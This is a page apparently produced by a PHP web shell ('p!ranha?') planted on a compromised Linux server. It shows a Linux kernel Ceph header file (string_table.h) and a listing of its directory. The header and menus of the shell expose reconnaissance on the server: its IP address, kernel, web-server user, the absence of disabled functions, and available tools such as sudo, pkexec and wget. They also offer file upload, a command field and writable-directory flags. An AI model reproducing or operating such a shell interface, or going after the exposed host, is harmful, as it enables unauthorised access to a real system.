p!ranha?
Server IP : 103.169.32.36  /  Your IP : 216.73.216.202
Web Server : Apache
System : Linux web.dpmptsp 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/modules/3.10.0-1160.105.1.el7.x86_64/source/include/linux/ceph/

Upload File :
Curr3nt_D!r [ Writeable ] D0cum3nt_r0Ot [ Writeable ]

 
Command :
Current File : /usr/lib/modules/3.10.0-1160.105.1.el7.x86_64/source/include/linux/ceph/string_table.h
#ifndef _FS_CEPH_STRING_TABLE_H
#define _FS_CEPH_STRING_TABLE_H

#include <linux/types.h>
#include <linux/kref.h>
#include <linux/rbtree.h>
#include <linux/rcupdate.h>

struct ceph_string {
	struct kref kref;
	union {
		struct rb_node node;
		struct rcu_head rcu;
	};
	size_t len;
	char str[];
};

extern void ceph_release_string(struct kref *ref);
extern struct ceph_string *ceph_find_or_create_string(const char *str,
						      size_t len);
extern bool ceph_strings_empty(void);

static inline struct ceph_string *ceph_get_string(struct ceph_string *str)
{
	kref_get(&str->kref);
	return str;
}

static inline void ceph_put_string(struct ceph_string *str)
{
	if (!str)
		return;
	kref_put(&str->kref, ceph_release_string);
}

static inline int ceph_compare_string(struct ceph_string *cs,
				      const char* str, size_t len)
{
	size_t cs_len = cs ? cs->len : 0;
	if (cs_len != len)
		return cs_len - len;
	if (len == 0)
		return 0;
	return strncmp(cs->str, str, len);
}

#define ceph_try_get_string(x)					\
({								\
	struct ceph_string *___str;				\
	rcu_read_lock();					\
	for (;;) {						\
		___str = rcu_dereference(x);			\
		if (!___str ||					\
		    kref_get_unless_zero(&___str->kref))	\
			break;					\
	}							\
	rcu_read_unlock();					\
	(___str);						\
})

#endif
N4m3
5!z3
L45t M0d!f!3d
0wn3r / Gr0up
P3Rm!55!0n5
0pt!0n5
..
--
January 19 2024 08:12:51
0 / 0
0755
auth.h
4.808 KB
November 06 2023 09:15:52
0 / 0
0644
buffer.h
0.767 KB
November 06 2023 09:15:52
0 / 0
0644
ceph_debug.h
0.848 KB
November 06 2023 09:15:52
0 / 0
0644
ceph_features.h
8.487 KB
November 06 2023 09:15:52
0 / 0
0644
ceph_frag.h
1.93 KB
November 06 2023 09:15:52
0 / 0
0644
ceph_fs.h
25.326 KB
November 06 2023 09:15:52
0 / 0
0644
ceph_hash.h
0.423 KB
November 06 2023 09:15:52
0 / 0
0644
cls_lock_client.h
1.556 KB
November 06 2023 09:15:52
0 / 0
0644
debugfs.h
0.713 KB
November 06 2023 09:15:52
0 / 0
0644
decode.h
9.018 KB
November 06 2023 09:15:52
0 / 0
0644
libceph.h
9.368 KB
November 06 2023 09:15:52
0 / 0
0644
mdsmap.h
1.579 KB
November 06 2023 09:15:52
0 / 0
0644
messenger.h
9.058 KB
November 06 2023 09:15:52
0 / 0
0644
mon_client.h
3.785 KB
November 06 2023 09:15:52
0 / 0
0644
msgpool.h
0.719 KB
November 06 2023 09:15:52
0 / 0
0644
msgr.h
5.608 KB
November 06 2023 09:15:52
0 / 0
0644
osd_client.h
14.354 KB
November 06 2023 09:15:52
0 / 0
0644
osdmap.h
8.243 KB
November 06 2023 09:15:52
0 / 0
0644
pagelist.h
2.062 KB
November 06 2023 09:15:52
0 / 0
0644
rados.h
16.904 KB
November 06 2023 09:15:52
0 / 0
0644
string_table.h
1.258 KB
November 06 2023 09:15:52
0 / 0
0644
types.h
0.496 KB
November 06 2023 09:15:52
0 / 0
0644